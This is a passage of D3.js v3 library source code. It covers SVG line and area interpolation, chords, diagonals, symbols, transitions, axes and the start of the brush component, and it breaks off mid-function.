path.push(d3_svg_lineDot4(d3_svg_lineBasisBezier3, px) + "," + d3_svg_lineDot4(d3_svg_lineBasisBezier3, py));
--i;
while (++i < n) {
pi = points[i];
px.shift();
px.push(pi[0]);
py.shift();
py.push(pi[1]);
d3_svg_lineBasisBezier(path, px, py);
}
return path.join("");
}
function d3_svg_lineBasisClosed(points) {
var path, i = -1, n = points.length, m = n + 4, pi, px = [], py = [];
while (++i < 4) {
pi = points[i % n];
px.push(pi[0]);
py.push(pi[1]);
}
path = [ d3_svg_lineDot4(d3_svg_lineBasisBezier3, px), ",", d3_svg_lineDot4(d3_svg_lineBasisBezier3, py) ];
--i;
while (++i < m) {
pi = points[i % n];
px.shift();
px.push(pi[0]);
py.shift();
py.push(pi[1]);
d3_svg_lineBasisBezier(path, px, py);
}
return path.join("");
}
function d3_svg_lineBundle(points, tension) {
var n = points.length - 1;
if (n) {
var x0 = points[0][0], y0 = points[0][1], dx = points[n][0] - x0, dy = points[n][1] - y0, i = -1, p, t;
while (++i <= n) {
p = points[i];
t = i / n;
p[0] = tension * p[0] + (1 - tension) * (x0 + t * dx);
p[1] = tension * p[1] + (1 - tension) * (y0 + t * dy);
}
}
return d3_svg_lineBasis(points);
}
function d3_svg_lineDot4(a, b) {
return a[0] * b[0] + a[1] * b[1] + a[2] * b[2] + a[3] * b[3];
}
var d3_svg_lineBasisBezier1 = [ 0, 2 / 3, 1 / 3, 0 ], d3_svg_lineBasisBezier2 = [ 0, 1 / 3, 2 / 3, 0 ], d3_svg_lineBasisBezier3 = [ 0, 1 / 6, 2 / 3, 1 / 6 ];
function d3_svg_lineBasisBezier(path, x, y) {
path.push("C", d3_svg_lineDot4(d3_svg_lineBasisBezier1, x), ",", d3_svg_lineDot4(d3_svg_lineBasisBezier1, y), ",", d3_svg_lineDot4(d3_svg_lineBasisBezier2, x), ",", d3_svg_lineDot4(d3_svg_lineBasisBezier2, y), ",", d3_svg_lineDot4(d3_svg_lineBasisBezier3, x), ",", d3_svg_lineDot4(d3_svg_lineBasisBezier3, y));
}
function d3_svg_lineSlope(p0, p1) {
return (p1[1] - p0[1]) / (p1[0] - p0[0]);
}
function d3_svg_lineFiniteDifferences(points) {
var i = 0, j = points.length - 1, m = [], p0 = points[0], p1 = points[1], d = m[0] = d3_svg_lineSlope(p0, p1);
while (++i < j) {
m[i] = (d + (d = d3_svg_lineSlope(p0 = p1, p1 = points[i + 1]))) / 2;
}
m[i] = d;
return m;
}
function d3_svg_lineMonotoneTangents(points) {
var tangents = [], d, a, b, s, m = d3_svg_lineFiniteDifferences(points), i = -1, j = points.length - 1;
while (++i < j) {
d = d3_svg_lineSlope(points[i], points[i + 1]);
if (abs(d) < ε) {
m[i] = m[i + 1] = 0;
} else {
a = m[i] / d;
b = m[i + 1] / d;
s = a * a + b * b;
if (s > 9) {
s = d * 3 / Math.sqrt(s);
m[i] = s * a;
m[i + 1] = s * b;
}
}
}
i = -1;
while (++i <= j) {
s = (points[Math.min(j, i + 1)][0] - points[Math.max(0, i - 1)][0]) / (6 * (1 + m[i] * m[i]));
tangents.push([ s || 0, m[i] * s || 0 ]);
}
return tangents;
}
function d3_svg_lineMonotone(points) {
return points.length < 3 ? d3_svg_lineLinear(points) : points[0] + d3_svg_lineHermite(points, d3_svg_lineMonotoneTangents(points));
}
d3.svg.line.radial = function() {
var line = d3_svg_line(d3_svg_lineRadial);
line.radius = line.x, delete line.x;
line.angle = line.y, delete line.y;
return line;
};
function d3_svg_lineRadial(points) {
var point, i = -1, n = points.length, r, a;
while (++i < n) {
point = points[i];
r = point[0];
a = point[1] - halfπ;
point[0] = r * Math.cos(a);
point[1] = r * Math.sin(a);
}
return points;
}
function d3_svg_area(projection) {
var x0 = d3_geom_pointX, x1 = d3_geom_pointX, y0 = 0, y1 = d3_geom_pointY, defined = d3_true, interpolate = d3_svg_lineLinear, interpolateKey = interpolate.key, interpolateReverse = interpolate, L = "L", tension = .7;
function area(data) {
var segments = [], points0 = [], points1 = [], i = -1, n = data.length, d, fx0 = d3_functor(x0), fy0 = d3_functor(y0), fx1 = x0 === x1 ? function() {
return x;
} : d3_functor(x1), fy1 = y0 === y1 ? function() {
return y;
} : d3_functor(y1), x, y;
function segment() {
segments.push("M", interpolate(projection(points1), tension), L, interpolateReverse(projection(points0.reverse()), tension), "Z");
}
while (++i < n) {
if (defined.call(this, d = data[i], i)) {
points0.push([ x = +fx0.call(this, d, i), y = +fy0.call(this, d, i) ]);
points1.push([ +fx1.call(this, d, i), +fy1.call(this, d, i) ]);
} else if (points0.length) {
segment();
points0 = [];
points1 = [];
}
}
if (points0.length) segment();
return segments.length ? segments.join("") : null;
}
area.x = function(_) {
if (!arguments.length) return x1;
x0 = x1 = _;
return area;
};
area.x0 = function(_) {
if (!arguments.length) return x0;
x0 = _;
return area;
};
area.x1 = function(_) {
if (!arguments.length) return x1;
x1 = _;
return area;
};
area.y = function(_) {
if (!arguments.length) return y1;
y0 = y1 = _;
return area;
};
area.y0 = function(_) {
if (!arguments.length) return y0;
y0 = _;
return area;
};
area.y1 = function(_) {
if (!arguments.length) return y1;
y1 = _;
return area;
};
area.defined = function(_) {
if (!arguments.length) return defined;
defined = _;
return area;
};
area.interpolate = function(_) {
if (!arguments.length) return interpolateKey;
if (typeof _ === "function") interpolateKey = interpolate = _; else interpolateKey = (interpolate = d3_svg_lineInterpolators.get(_) || d3_svg_lineLinear).key;
interpolateReverse = interpolate.reverse || interpolate;
L = interpolate.closed ? "M" : "L";
return area;
};
area.tension = function(_) {
if (!arguments.length) return tension;
tension = _;
return area;
};
return area;
}
d3_svg_lineStepBefore.reverse = d3_svg_lineStepAfter;
d3_svg_lineStepAfter.reverse = d3_svg_lineStepBefore;
d3.svg.area = function() {
return d3_svg_area(d3_identity);
};
d3.svg.area.radial = function() {
var area = d3_svg_area(d3_svg_lineRadial);
area.radius = area.x, delete area.x;
area.innerRadius = area.x0, delete area.x0;
area.outerRadius = area.x1, delete area.x1;
area.angle = area.y, delete area.y;
area.startAngle = area.y0, delete area.y0;
area.endAngle = area.y1, delete area.y1;
return area;
};
d3.svg.chord = function() {
var source = d3_source, target = d3_target, radius = d3_svg_chordRadius, startAngle = d3_svg_arcStartAngle, endAngle = d3_svg_arcEndAngle;
function chord(d, i) {
var s = subgroup(this, source, d, i), t = subgroup(this, target, d, i);
return "M" + s.p0 + arc(s.r, s.p1, s.a1 - s.a0) + (equals(s, t) ? curve(s.r, s.p1, s.r, s.p0) : curve(s.r, s.p1, t.r, t.p0) + arc(t.r, t.p1, t.a1 - t.a0) + curve(t.r, t.p1, s.r, s.p0)) + "Z";
}
function subgroup(self, f, d, i) {
var subgroup = f.call(self, d, i), r = radius.call(self, subgroup, i), a0 = startAngle.call(self, subgroup, i) - halfπ, a1 = endAngle.call(self, subgroup, i) - halfπ;
return {
r: r,
a0: a0,
a1: a1,
p0: [ r * Math.cos(a0), r * Math.sin(a0) ],
p1: [ r * Math.cos(a1), r * Math.sin(a1) ]
};
}
function equals(a, b) {
return a.a0 == b.a0 && a.a1 == b.a1;
}
function arc(r, p, a) {
return "A" + r + "," + r + " 0 " + +(a > π) + ",1 " + p;
}
function curve(r0, p0, r1, p1) {
return "Q 0,0 " + p1;
}
chord.radius = function(v) {
if (!arguments.length) return radius;
radius = d3_functor(v);
return chord;
};
chord.source = function(v) {
if (!arguments.length) return source;
source = d3_functor(v);
return chord;
};
chord.target = function(v) {
if (!arguments.length) return target;
target = d3_functor(v);
return chord;
};
chord.startAngle = function(v) {
if (!arguments.length) return startAngle;
startAngle = d3_functor(v);
return chord;
};
chord.endAngle = function(v) {
if (!arguments.length) return endAngle;
endAngle = d3_functor(v);
return chord;
};
return chord;
};
function d3_svg_chordRadius(d) {
return d.radius;
}
d3.svg.diagonal = function() {
var source = d3_source, target = d3_target, projection = d3_svg_diagonalProjection;
function diagonal(d, i) {
var p0 = source.call(this, d, i), p3 = target.call(this, d, i), m = (p0.y + p3.y) / 2, p = [ p0, {
x: p0.x,
y: m
}, {
x: p3.x,
y: m
}, p3 ];
p = p.map(projection);
return "M" + p[0] + "C" + p[1] + " " + p[2] + " " + p[3];
}
diagonal.source = function(x) {
if (!arguments.length) return source;
source = d3_functor(x);
return diagonal;
};
diagonal.target = function(x) {
if (!arguments.length) return target;
target = d3_functor(x);
return diagonal;
};
diagonal.projection = function(x) {
if (!arguments.length) return projection;
projection = x;
return diagonal;
};
return diagonal;
};
function d3_svg_diagonalProjection(d) {
return [ d.x, d.y ];
}
d3.svg.diagonal.radial = function() {
var diagonal = d3.svg.diagonal(), projection = d3_svg_diagonalProjection, projection_ = diagonal.projection;
diagonal.projection = function(x) {
return arguments.length ? projection_(d3_svg_diagonalRadialProjection(projection = x)) : projection;
};
return diagonal;
};
function d3_svg_diagonalRadialProjection(projection) {
return function() {
var d = projection.apply(this, arguments), r = d[0], a = d[1] - halfπ;
return [ r * Math.cos(a), r * Math.sin(a) ];
};
}
d3.svg.symbol = function() {
var type = d3_svg_symbolType, size = d3_svg_symbolSize;
function symbol(d, i) {
return (d3_svg_symbols.get(type.call(this, d, i)) || d3_svg_symbolCircle)(size.call(this, d, i));
}
symbol.type = function(x) {
if (!arguments.length) return type;
type = d3_functor(x);
return symbol;
};
symbol.size = function(x) {
if (!arguments.length) return size;
size = d3_functor(x);
return symbol;
};
return symbol;
};
function d3_svg_symbolSize() {
return 64;
}
function d3_svg_symbolType() {
return "circle";
}
function d3_svg_symbolCircle(size) {
var r = Math.sqrt(size / π);
return "M0," + r + "A" + r + "," + r + " 0 1,1 0," + -r + "A" + r + "," + r + " 0 1,1 0," + r + "Z";
}
var d3_svg_symbols = d3.map({
circle: d3_svg_symbolCircle,
cross: function(size) {
var r = Math.sqrt(size / 5) / 2;
return "M" + -3 * r + "," + -r + "H" + -r + "V" + -3 * r + "H" + r + "V" + -r + "H" + 3 * r + "V" + r + "H" + r + "V" + 3 * r + "H" + -r + "V" + r + "H" + -3 * r + "Z";
},
diamond: function(size) {
var ry = Math.sqrt(size / (2 * d3_svg_symbolTan30)), rx = ry * d3_svg_symbolTan30;
return "M0," + -ry + "L" + rx + ",0" + " 0," + ry + " " + -rx + ",0" + "Z";
},
square: function(size) {
var r = Math.sqrt(size) / 2;
return "M" + -r + "," + -r + "L" + r + "," + -r + " " + r + "," + r + " " + -r + "," + r + "Z";
},
"triangle-down": function(size) {
var rx = Math.sqrt(size / d3_svg_symbolSqrt3), ry = rx * d3_svg_symbolSqrt3 / 2;
return "M0," + ry + "L" + rx + "," + -ry + " " + -rx + "," + -ry + "Z";
},
"triangle-up": function(size) {
var rx = Math.sqrt(size / d3_svg_symbolSqrt3), ry = rx * d3_svg_symbolSqrt3 / 2;
return "M0," + -ry + "L" + rx + "," + ry + " " + -rx + "," + ry + "Z";
}
});
d3.svg.symbolTypes = d3_svg_symbols.keys();
var d3_svg_symbolSqrt3 = Math.sqrt(3), d3_svg_symbolTan30 = Math.tan(30 * d3_radians);
d3_selectionPrototype.transition = function(name) {
var id = d3_transitionInheritId || ++d3_transitionId, ns = d3_transitionNamespace(name), subgroups = [], subgroup, node, transition = d3_transitionInherit || {
time: Date.now(),
ease: d3_ease_cubicInOut,
delay: 0,
duration: 250
};
for (var j = -1, m = this.length; ++j < m; ) {
subgroups.push(subgroup = []);
for (var group = this[j], i = -1, n = group.length; ++i < n; ) {
if (node = group[i]) d3_transitionNode(node, i, ns, id, transition);
subgroup.push(node);
}
}
return d3_transition(subgroups, ns, id);
};
d3_selectionPrototype.interrupt = function(name) {
return this.each(name == null ? d3_selection_interrupt : d3_selection_interruptNS(d3_transitionNamespace(name)));
};
var d3_selection_interrupt = d3_selection_interruptNS(d3_transitionNamespace());
function d3_selection_interruptNS(ns) {
return function() {
var lock, activeId, active;
if ((lock = this[ns]) && (active = lock[activeId = lock.active])) {
active.timer.c = null;
active.timer.t = NaN;
if (--lock.count) delete lock[activeId]; else delete this[ns];
lock.active += .5;
active.event && active.event.interrupt.call(this, this.__data__, active.index);
}
};
}
function d3_transition(groups, ns, id) {
d3_subclass(groups, d3_transitionPrototype);
groups.namespace = ns;
groups.id = id;
return groups;
}
var d3_transitionPrototype = [], d3_transitionId = 0, d3_transitionInheritId, d3_transitionInherit;
d3_transitionPrototype.call = d3_selectionPrototype.call;
d3_transitionPrototype.empty = d3_selectionPrototype.empty;
d3_transitionPrototype.node = d3_selectionPrototype.node;
d3_transitionPrototype.size = d3_selectionPrototype.size;
d3.transition = function(selection, name) {
return selection && selection.transition ? d3_transitionInheritId ? selection.transition(name) : selection : d3.selection().transition(selection);
};
d3.transition.prototype = d3_transitionPrototype;
d3_transitionPrototype.select = function(selector) {
var id = this.id, ns = this.namespace, subgroups = [], subgroup, subnode, node;
selector = d3_selection_selector(selector);
for (var j = -1, m = this.length; ++j < m; ) {
subgroups.push(subgroup = []);
for (var group = this[j], i = -1, n = group.length; ++i < n; ) {
if ((node = group[i]) && (subnode = selector.call(node, node.__data__, i, j))) {
if ("__data__" in node) subnode.__data__ = node.__data__;
d3_transitionNode(subnode, i, ns, id, node[ns][id]);
subgroup.push(subnode);
} else {
subgroup.push(null);
}
}
}
return d3_transition(subgroups, ns, id);
};
d3_transitionPrototype.selectAll = function(selector) {
var id = this.id, ns = this.namespace, subgroups = [], subgroup, subnodes, node, subnode, transition;
selector = d3_selection_selectorAll(selector);
for (var j = -1, m = this.length; ++j < m; ) {
for (var group = this[j], i = -1, n = group.length; ++i < n; ) {
if (node = group[i]) {
transition = node[ns][id];
subnodes = selector.call(node, node.__data__, i, j);
subgroups.push(subgroup = []);
for (var k = -1, o = subnodes.length; ++k < o; ) {
if (subnode = subnodes[k]) d3_transitionNode(subnode, k, ns, id, transition);
subgroup.push(subnode);
}
}
}
}
return d3_transition(subgroups, ns, id);
};
d3_transitionPrototype.filter = function(filter) {
var subgroups = [], subgroup, group, node;
if (typeof filter !== "function") filter = d3_selection_filter(filter);
for (var j = 0, m = this.length; j < m; j++) {
subgroups.push(subgroup = []);
for (var group = this[j], i = 0, n = group.length; i < n; i++) {
if ((node = group[i]) && filter.call(node, node.__data__, i, j)) {
subgroup.push(node);
}
}
}
return d3_transition(subgroups, this.namespace, this.id);
};
d3_transitionPrototype.tween = function(name, tween) {
var id = this.id, ns = this.namespace;
if (arguments.length < 2) return this.node()[ns][id].tween.get(name);
return d3_selection_each(this, tween == null ? function(node) {
node[ns][id].tween.remove(name);
} : function(node) {
node[ns][id].tween.set(name, tween);
});
};
function d3_transition_tween(groups, name, value, tween) {
var id = groups.id, ns = groups.namespace;
return d3_selection_each(groups, typeof value === "function" ? function(node, i, j) {
node[ns][id].tween.set(name, tween(value.call(node, node.__data__, i, j)));
} : (value = tween(value), function(node) {
node[ns][id].tween.set(name, value);
}));
}
d3_transitionPrototype.attr = function(nameNS, value) {
if (arguments.length < 2) {
for (value in nameNS) this.attr(value, nameNS[value]);
return this;
}
var interpolate = nameNS == "transform" ? d3_interpolateTransform : d3_interpolate, name = d3.ns.qualify(nameNS);
function attrNull() {
this.removeAttribute(name);
}
function attrNullNS() {
this.removeAttributeNS(name.space, name.local);
}
function attrTween(b) {
return b == null ? attrNull : (b += "", function() {
var a = this.getAttribute(name), i;
return a !== b && (i = interpolate(a, b), function(t) {
this.setAttribute(name, i(t));
});
});
}
function attrTweenNS(b) {
return b == null ? attrNullNS : (b += "", function() {
var a = this.getAttributeNS(name.space, name.local), i;
return a !== b && (i = interpolate(a, b), function(t) {
this.setAttributeNS(name.space, name.local, i(t));
});
});
}
return d3_transition_tween(this, "attr." + nameNS, value, name.local ? attrTweenNS : attrTween);
};
d3_transitionPrototype.attrTween = function(nameNS, tween) {
var name = d3.ns.qualify(nameNS);
function attrTween(d, i) {
var f = tween.call(this, d, i, this.getAttribute(name));
return f && function(t) {
this.setAttribute(name, f(t));
};
}
function attrTweenNS(d, i) {
var f = tween.call(this, d, i, this.getAttributeNS(name.space, name.local));
return f && function(t) {
this.setAttributeNS(name.space, name.local, f(t));
};
}
return this.tween("attr." + nameNS, name.local ? attrTweenNS : attrTween);
};
d3_transitionPrototype.style = function(name, value, priority) {
var n = arguments.length;
if (n < 3) {
if (typeof name !== "string") {
if (n < 2) value = "";
for (priority in name) this.style(priority, name[priority], value);
return this;
}
priority = "";
}
function styleNull() {
this.style.removeProperty(name);
}
function styleString(b) {
return b == null ? styleNull : (b += "", function() {
var a = d3_window(this).getComputedStyle(this, null).getPropertyValue(name), i;
return a !== b && (i = d3_interpolate(a, b), function(t) {
this.style.setProperty(name, i(t), priority);
});
});
}
return d3_transition_tween(this, "style." + name, value, styleString);
};
d3_transitionPrototype.styleTween = function(name, tween, priority) {
if (arguments.length < 3) priority = "";
function styleTween(d, i) {
var f = tween.call(this, d, i, d3_window(this).getComputedStyle(this, null).getPropertyValue(name));
return f && function(t) {
this.style.setProperty(name, f(t), priority);
};
}
return this.tween("style." + name, styleTween);
};
d3_transitionPrototype.text = function(value) {
return d3_transition_tween(this, "text", value, d3_transition_text);
};
function d3_transition_text(b) {
if (b == null) b = "";
return function() {
this.textContent = b;
};
}
d3_transitionPrototype.remove = function() {
var ns = this.namespace;
return this.each("end.transition", function() {
var p;
if (this[ns].count < 2 && (p = this.parentNode)) p.removeChild(this);
});
};
d3_transitionPrototype.ease = function(value) {
var id = this.id, ns = this.namespace;
if (arguments.length < 1) return this.node()[ns][id].ease;
if (typeof value !== "function") value = d3.ease.apply(d3, arguments);
return d3_selection_each(this, function(node) {
node[ns][id].ease = value;
});
};
d3_transitionPrototype.delay = function(value) {
var id = this.id, ns = this.namespace;
if (arguments.length < 1) return this.node()[ns][id].delay;
return d3_selection_each(this, typeof value === "function" ? function(node, i, j) {
node[ns][id].delay = +value.call(node, node.__data__, i, j);
} : (value = +value, function(node) {
node[ns][id].delay = value;
}));
};
d3_transitionPrototype.duration = function(value) {
var id = this.id, ns = this.namespace;
if (arguments.length < 1) return this.node()[ns][id].duration;
return d3_selection_each(this, typeof value === "function" ? function(node, i, j) {
node[ns][id].duration = Math.max(1, value.call(node, node.__data__, i, j));
} : (value = Math.max(1, value), function(node) {
node[ns][id].duration = value;
}));
};
d3_transitionPrototype.each = function(type, listener) {
var id = this.id, ns = this.namespace;
if (arguments.length < 2) {
var inherit = d3_transitionInherit, inheritId = d3_transitionInheritId;
try {
d3_transitionInheritId = id;
d3_selection_each(this, function(node, i, j) {
d3_transitionInherit = node[ns][id];
type.call(node, node.__data__, i, j);
});
} finally {
d3_transitionInherit = inherit;
d3_transitionInheritId = inheritId;
}
} else {
d3_selection_each(this, function(node) {
var transition = node[ns][id];
(transition.event || (transition.event = d3.dispatch("start", "end", "interrupt"))).on(type, listener);
});
}
return this;
};
d3_transitionPrototype.transition = function() {
var id0 = this.id, id1 = ++d3_transitionId, ns = this.namespace, subgroups = [], subgroup, group, node, transition;
for (var j = 0, m = this.length; j < m; j++) {
subgroups.push(subgroup = []);
for (var group = this[j], i = 0, n = group.length; i < n; i++) {
if (node = group[i]) {
transition = node[ns][id0];
d3_transitionNode(node, i, ns, id1, {
time: transition.time,
ease: transition.ease,
delay: transition.delay + transition.duration,
duration: transition.duration
});
}
subgroup.push(node);
}
}
return d3_transition(subgroups, ns, id1);
};
function d3_transitionNamespace(name) {
return name == null ? "__transition__" : "__transition_" + name + "__";
}
function d3_transitionNode(node, i, ns, id, inherit) {
var lock = node[ns] || (node[ns] = {
active: 0,
count: 0
}), transition = lock[id], time, timer, duration, ease, tweens;
function schedule(elapsed) {
var delay = transition.delay;
timer.t = delay + time;
if (delay <= elapsed) return start(elapsed - delay);
timer.c = start;
}
function start(elapsed) {
var activeId = lock.active, active = lock[activeId];
if (active) {
active.timer.c = null;
active.timer.t = NaN;
--lock.count;
delete lock[activeId];
active.event && active.event.interrupt.call(node, node.__data__, active.index);
}
for (var cancelId in lock) {
if (+cancelId < id) {
var cancel = lock[cancelId];
cancel.timer.c = null;
cancel.timer.t = NaN;
--lock.count;
delete lock[cancelId];
}
}
timer.c = tick;
d3_timer(function() {
if (timer.c && tick(elapsed || 1)) {
timer.c = null;
timer.t = NaN;
}
return 1;
}, 0, time);
lock.active = id;
transition.event && transition.event.start.call(node, node.__data__, i);
tweens = [];
transition.tween.forEach(function(key, value) {
if (value = value.call(node, node.__data__, i)) {
tweens.push(value);
}
});
ease = transition.ease;
duration = transition.duration;
}
function tick(elapsed) {
var t = elapsed / duration, e = ease(t), n = tweens.length;
while (n > 0) {
tweens[--n].call(node, e);
}
if (t >= 1) {
transition.event && transition.event.end.call(node, node.__data__, i);
if (--lock.count) delete lock[id]; else delete node[ns];
return 1;
}
}
if (!transition) {
time = inherit.time;
timer = d3_timer(schedule, 0, time);
transition = lock[id] = {
tween: new d3_Map(),
time: time,
timer: timer,
delay: inherit.delay,
duration: inherit.duration,
ease: inherit.ease,
index: i
};
inherit = null;
++lock.count;
}
}
d3.svg.axis = function() {
var scale = d3.scale.linear(), orient = d3_svg_axisDefaultOrient, innerTickSize = 6, outerTickSize = 6, tickPadding = 3, tickArguments_ = [ 10 ], tickValues = null, tickFormat_;
function axis(g) {
g.each(function() {
var g = d3.select(this);
var scale0 = this.__chart__ || scale, scale1 = this.__chart__ = scale.copy();
var ticks = tickValues == null ? scale1.ticks ? scale1.ticks.apply(scale1, tickArguments_) : scale1.domain() : tickValues, tickFormat = tickFormat_ == null ? scale1.tickFormat ? scale1.tickFormat.apply(scale1, tickArguments_) : d3_identity : tickFormat_, tick = g.selectAll(".tick").data(ticks, scale1), tickEnter = tick.enter().insert("g", ".domain").attr("class", "tick").style("opacity", ε), tickExit = d3.transition(tick.exit()).style("opacity", ε).remove(), tickUpdate = d3.transition(tick.order()).style("opacity", 1), tickSpacing = Math.max(innerTickSize, 0) + tickPadding, tickTransform;
var range = d3_scaleRange(scale1), path = g.selectAll(".domain").data([ 0 ]), pathUpdate = (path.enter().append("path").attr("class", "domain"),
d3.transition(path));
tickEnter.append("line");
tickEnter.append("text");
var lineEnter = tickEnter.select("line"), lineUpdate = tickUpdate.select("line"), text = tick.select("text").text(tickFormat), textEnter = tickEnter.select("text"), textUpdate = tickUpdate.select("text"), sign = orient === "top" || orient === "left" ? -1 : 1, x1, x2, y1, y2;
if (orient === "bottom" || orient === "top") {
tickTransform = d3_svg_axisX, x1 = "x", y1 = "y", x2 = "x2", y2 = "y2";
text.attr("dy", sign < 0 ? "0em" : ".71em").style("text-anchor", "middle");
pathUpdate.attr("d", "M" + range[0] + "," + sign * outerTickSize + "V0H" + range[1] + "V" + sign * outerTickSize);
} else {
tickTransform = d3_svg_axisY, x1 = "y", y1 = "x", x2 = "y2", y2 = "x2";
text.attr("dy", ".32em").style("text-anchor", sign < 0 ? "end" : "start");
pathUpdate.attr("d", "M" + sign * outerTickSize + "," + range[0] + "H0V" + range[1] + "H" + sign * outerTickSize);
}
lineEnter.attr(y2, sign * innerTickSize);
textEnter.attr(y1, sign * tickSpacing);
lineUpdate.attr(x2, 0).attr(y2, sign * innerTickSize);
textUpdate.attr(x1, 0).attr(y1, sign * tickSpacing);
if (scale1.rangeBand) {
var x = scale1, dx = x.rangeBand() / 2;
scale0 = scale1 = function(d) {
return x(d) + dx;
};
} else if (scale0.rangeBand) {
scale0 = scale1;
} else {
tickExit.call(tickTransform, scale1, scale0);
}
tickEnter.call(tickTransform, scale0, scale1);
tickUpdate.call(tickTransform, scale1, scale1);
});
}
axis.scale = function(x) {
if (!arguments.length) return scale;
scale = x;
return axis;
};
axis.orient = function(x) {
if (!arguments.length) return orient;
orient = x in d3_svg_axisOrients ? x + "" : d3_svg_axisDefaultOrient;
return axis;
};
axis.ticks = function() {
if (!arguments.length) return tickArguments_;
tickArguments_ = d3_array(arguments);
return axis;
};
axis.tickValues = function(x) {
if (!arguments.length) return tickValues;
tickValues = x;
return axis;
};
axis.tickFormat = function(x) {
if (!arguments.length) return tickFormat_;
tickFormat_ = x;
return axis;
};
axis.tickSize = function(x) {
var n = arguments.length;
if (!n) return innerTickSize;
innerTickSize = +x;
outerTickSize = +arguments[n - 1];
return axis;
};
axis.innerTickSize = function(x) {
if (!arguments.length) return innerTickSize;
innerTickSize = +x;
return axis;
};
axis.outerTickSize = function(x) {
if (!arguments.length) return outerTickSize;
outerTickSize = +x;
return axis;
};
axis.tickPadding = function(x) {
if (!arguments.length) return tickPadding;
tickPadding = +x;
return axis;
};
axis.tickSubdivide = function() {
return arguments.length && axis;
};
return axis;
};
var d3_svg_axisDefaultOrient = "bottom", d3_svg_axisOrients = {
top: 1,
right: 1,
bottom: 1,
left: 1
};
function d3_svg_axisX(selection, x0, x1) {
selection.attr("transform", function(d) {
var v0 = x0(d);
return "translate(" + (isFinite(v0) ? v0 : x1(d)) + ",0)";
});
}
function d3_svg_axisY(selection, y0, y1) {
selection.attr("transform", function(d) {
var v0 = y0(d);
return "translate(0," + (isFinite(v0) ? v0 : y1(d)) + ")";
});
}
d3.svg.brush = function() {
var event = d3_eventDispatch(brush, "brushstart", "brush", "brushend"), x = null, y = null, xExtent = [ 0, 0 ], yExtent = [ 0, 0 ], xExtentDomain, yExtentDomain, xClamp = true, yClamp = true, resizes = d3_svg_brushResizes[0];
function brush(g) {
g.each(function() {
var g = d3.select(this).style("pointer-events", "all").style("-webkit-tap-highlight-color", "rgba(0,0,0,0)").on("mousedown.brush", brushstart).on("touchstart.brush", brushstart);
var background = g.selectAll(".background").data([ 0 ]);
background.enter().append("rect").attr("class", "background").style("visibility", "hidden").style("cursor", "crosshair");
g.selectAll(".extent").data([ 0 ]).enter().append("rect").attr("class", "extent").style("cursor", "move");
var resize = g.selectAll(".resize").data(resizes, d3_identity);
resize.exit().remove();
resize.enter().append("g").attr("class", function(d) {
return "resize " + d;
}).style("cursor", function(d) {
return d3_svg_brushCursor[d];
}).append("rect").attr("x", function(d) {
return /[ew]$/.test(d) ? -3 : null;
}).attr("y", function(d) {
return /^[ns]/.test(d) ? -3 : null;
}).attr("width", 6).attr("height", 6).style("visibility", "hidden");
resize.style("display", brush.empty() ? "none" : null);
var gUpdate = d3.transition(g), backgroundUpdate = d3.transition(background), range;
if (x) {
range = d3_scaleRange(x);
backgroundUpdate.attr("x", range[0]).attr("width", range[1] - range[0]);
redrawX(gUpdate);
}
if (y) {
range = d3_scaleRange(y);
backgroundUpdate.attr("y", range[0]).attr("height", range[1] - range[0]);
redrawY(gUpdate);
}
redraw(gUpdate);
});
}
brush.event = function(g) {
g.each(function() {
var event_ = event.of(this, arguments), extent1 = {
x: xExtent,
y: yExtent,
i: xExtentDomain,
j: yExtentDomain
}, extent0 = this.__chart__ || extent1;
this.__chart__ = extent1;
if (d3_transitionInheritId) {
d3.select(this).transition().each("start.brush", function() {
xExtentDomain = extent0.i;
yExtentDomain = extent0.j;
xExtent = extent0.x;
yExtent = extent0.y;
event_({
type: "brushstart"
});
}).tween("brush:brush", function() {
var xi = d3_interpolateArray(xExtent, extent1.x), yi = d3_interpolateArray(yExtent, extent1.y);
xExtentDomain = yExtentDomain = null;
return function(t) {
xExtent = extent1.x = xi(t);
yExtent = extent1.y = yi(t);
event_({
type: "brush",
mode: "resize"
});
};
}).each("end.brush", function() {
xExtentDomain = extent1.i;
yExtentDomain = extent1.j;
event_({
type: "brush",
mode: "resize"
});
event_({
type: "brushend"
});
});
} else {
event_({
type: "brushstart"
});
event_({
type: "brush",
mode: "resize"
});
event_({
type: "brushend"
});
}
});
};
function redraw(g) {
g.selectAll(".resize").attr("transform", function(d) {
return "translate(" + xExtent[+/e$/.test(d)] + "," + yExtent[+/^s/.test(d)] + ")";
});
}
function redrawX(g) {
g.select(".extent").attr("x", xExtent[0]);
g.selectAll(".extent,.n>rect,.s>rect").attr("width", xExtent[1] - xExtent[0]);
}
function redrawY(g) {
g.select(".extent").attr("y", yExtent[0]);
g.selectAll(".extent,.e>rect,.w>rect").attr("height", yExtent[1] - yExtent[0]);
}
function brushstart() {
var target = this, eventTarget = d3.select(d3.event.target), event_ = event.of(target, arguments), g = d3.select(target), resizing = eventTarget.datum(), resizingX = !/^(n|s)$/.test(resizing) && x, resizingY = !/^(e|w)$/.test(resizing) && y, dragging = eventTarget.classed("extent"), dragRestore = d3_event_dragSuppress(target), center, origin = d3.mouse(target), offset;
var w = d3.select(d3_window(target)).on("keydown.brush", keydown).on("keyup.brush", keyup);
if (d3.event.changedTouches) {
w.on("touchmove.brush", brushmove).on("touchend.brush", brushend);
} else {
w.on("mousemove.brush", brushmove).on("mouseup.brush", brushend);
}
g.interrupt().selectAll("*").interrupt();
if (dragging) {
origin[0] = xExtent[0] - origin[0];
origin[1] = yExtent[0] - origin[1];
} else if (resizing) {
var ex = +/w$/.test(resizing), ey = +/^n/.test(resizing);
offset = [ xExtent[1 - ex] - origin[0], yExtent[1 - ey] - origin[1] ];
origin[0] = xExtent[ex];
origin[1] = yExtent[ey];
} else if (d3.event.altKey) center = origin.slice();
g.style("pointer-events", "none").selectAll(".resize").style("display", null);
d3.select("body").style("cursor", eventTarget.style("cursor"));
event_({
type: "brushstart"
});
brushmove();
function keydown() {
if (d3.event.keyCode == 32) {
if (!dragging) {
center = null;
origin[0] -= xExtent[1];
origin[1] -= yExtent[1];
dragging = 2;
}
d3_eventPreventDefault();
}
}
function keyup() {
if (d3.event.keyCode == 32 && dragging == 2) {
origin[0] += xExtent[1];
origin[1] += yExtent[1];
dragging = 0;
d3_eventPreventDefault();
}
}
function brushmove() {
var point = d3.mouse(target), moved = false;
if (offset) {
point[0] += offset[0];
point[1] += offset[1];
}
if (!dragging) {
if (d3.event.altKey) {
if (!center) center = [ (xExtent[0] + xExtent[1]) / 2, (yExtent[0] + yExtent[1]) / 2 ];
origin[0] = xExtent[+(point[0] < center[0])];
origin[1] = yExtent[+(point[1] < center[1])];
